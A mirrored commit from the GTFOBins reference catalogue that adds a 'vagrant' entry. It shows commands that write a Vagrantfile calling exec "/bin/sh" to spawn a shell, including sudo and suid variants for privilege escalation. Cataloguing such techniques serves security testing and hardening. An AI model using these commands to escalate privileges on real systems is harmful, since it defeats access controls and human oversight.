mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add vagrant
This commit is contained in:
commit
c2bbbd699d
20
_gtfobins/vagrant.md
Normal file
20
_gtfobins/vagrant.md
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
---
|
||||||
|
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
cd $(mktemp -d)
|
||||||
|
echo 'exec "/bin/sh"' > Vagrantfile
|
||||||
|
vagrant up
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
cd $(mktemp -d)
|
||||||
|
echo 'exec "/bin/sh"' > Vagrantfile
|
||||||
|
vagrant up
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
cd $(mktemp -d)
|
||||||
|
echo 'exec "/bin/sh -p"' > Vagrantfile
|
||||||
|
vagrant up
|
||||||
|
---
|
||||||
|
|
Loading…
Reference in New Issue
Block a user